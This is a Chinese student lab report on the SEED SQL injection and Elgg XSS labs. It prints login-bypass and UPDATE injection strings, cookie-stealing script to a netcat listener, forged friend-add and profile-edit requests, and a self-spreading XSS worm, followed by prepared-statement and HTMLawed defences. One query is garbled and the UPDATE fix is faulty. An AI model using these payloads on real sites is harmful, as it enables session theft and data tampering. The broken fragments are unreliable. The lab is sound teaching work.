目录
一、实验内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
二、实验过程
本次实验在SEEDUbuntu中进行。
Ⅰ、SEED SQL注入攻击与防御实验
(1)在SEED Ubuntu中输入mysql -u root -p打开数据库
(2)输入以下命令查看数据表
use Users;
show tables;
select * from credentials;
1、对SELECT语句的SQL注入攻击
(1)访问http://www.seedlabsqlinjection.com/,随便输入用户名和密码
(2)单击F12,选择"Network",再刷新网页,能看到重新得到了Get请求
(3)检查一下unsafe_home.php的代码,我们在命令行中输入vim /var/www/SQLInjection/unsafe_home.php
(4)进行sql查询注入,SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ‘
i
n
p
u
t
u
n
a
m
e
′
a
n
d
P
a
s
s
w
o
r
d
=
′
input_uname' and Password='
inputuname′andPassword=′hashed_pwd’;
可以发现管理员账号是Admin
SQL中#表示注释,在输入账号后紧接着输入一个单引号’将筛选条件终止,后面的命令都将注释掉,那么这条SQL语句就能够直接被执行。
因为管理员账号是Admin,我们可以通过输入Admin’#,直接进入管理员界面,因为这条语句把密码注释掉了,仍能执行该条Sql语句。
2、对UPDATE语句的SQL注入攻击
刚才已成功登录Admin账号,点击上方的Edit Profile
按下F12,登录其中一个账号(Boby),发现unsafe_edit_backend.php页面发送了一个GET请求
在终端中输入命令vim/var/www/SQLInjection/unsafe_edit_backend.php
查看unsafe_edit_backend.php文件的源码
在 NickName 一栏输入’, salary=‘50000’,SSN=‘20232807’ where Name=‘Alice’;#,
3、 SQL对抗
分析php文件源代码,发现Sql语句的苏剧和命令的判定没有分开,无法区分原始sql语句和用户数据
修改select语句
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
再次输入Admin‘#登录管理员界面,发现不能登进去
将update语句进行修改
# 第一条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address,$input_password, $input_phonenumber);
# 第二条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
发现一直卡在空白页面,可知Updta对数据库的修改失败
Ⅱ、SSED XSS跨站脚本攻击实验
1、 发布恶意消息,显示警报窗口
访问http://www.xsslabelgg.com/,用户名为Alice,密码为seedalice
在Edit Profile处输入 <script>alert("xss");</script>
点击保存
点击保存,再次进入Alice主页是会弹出消息xxs
2、弹窗显示 cookie 信息
和之前一样,在“Brief description”中输入<script> alert(document.cookie);</script>
点击“save”,变为弹窗显示cookie信息。
3、 窃取受害者的 cookies
1、和之前的一样,在“Brief description”中输入以下代码,点击“save”。
<script>
document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>
2、开启终端并输入nc -l 5555 -v
命令监听5555端口,每次访问Alice的主页都会监听到信息
4、 成为受害者的朋友
进入个人主页Boby:www.xsslabelgg.com/profile/boby
按下F12,打开开发者工具,然后切换到Network选项卡。点击“Add friend”,获得一个Post请求
其中携带三个参数
构造js代码,用于添加好友
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
再Alice页面中点击Edit profile,再About me的右侧Edit HTML中输入上面的代码
以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页,发现Boby已经将Alice添加为好友了。
5、 修改受害者的信息
构造如下代码
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>Edited By 20232807ZZ</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
打开Alice的Edit profile页面,点击About me右侧的Edit HTML。
以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页
6、编写XXS蠕虫
编写蠕虫的代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>XSS Attack By 20232807ZZ"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
在Alice的Edit profile页面中,找到About me右侧的Edit HTML,填写以上代码并保存
以Boby的身份登录,访问Alice的主页后,再返回Boby的主页,发现在About me中得到信息XSS attack By 20232807ZZ
以Samy的身份登录,访问Boby的主页,再返回Samy的主页,仍然发现信息被修改
7、对抗XSS攻击
以管理员Admin的身份进行登录,用户名为Admin,密码为seedelgg
登录后,依次点击右上角的Account - Administration
点击右侧的Plugins
找到HTMLawed,发现该插件已被激活,不需要再进行操作,该插件用于提供安全校验
如果显示Deactivate就表示已经激活了,
如果是显示Activate,需要将其切换为Deactivate激活该插件
再次以Samy的身份,访问Alice的主页
发现Alice中的蠕虫攻击已失效
证明对抗成功
三、遇到的问题和解决方案
问题1:在实验过程中SEEDUbuntu突然黑屏了,不显示鼠标和页面
解决方案:把原有的虚拟机删掉了,重新导入了新的虚拟机Ubuntu
问题2:在进行SEED SQL注入实验时,对update语句进行修改时没办法保存,一直报错
解决方案:是因为没有进入root权限,先输入sudo -su,进入管理员权限之后在再修改语句,可以将其成功保存
四、实践总结
在本次实验中我学习到了次XSS攻击和SQL注入攻击,对SELECT和UPDATE语句进行注入,了解到了通过这些漏洞可以绕过身份验证、获取敏感信息或篡改数据。
在实验中还会遇到一些粗心的小错误,这证明还需要提高自己的细致度,提高自己的实践能力。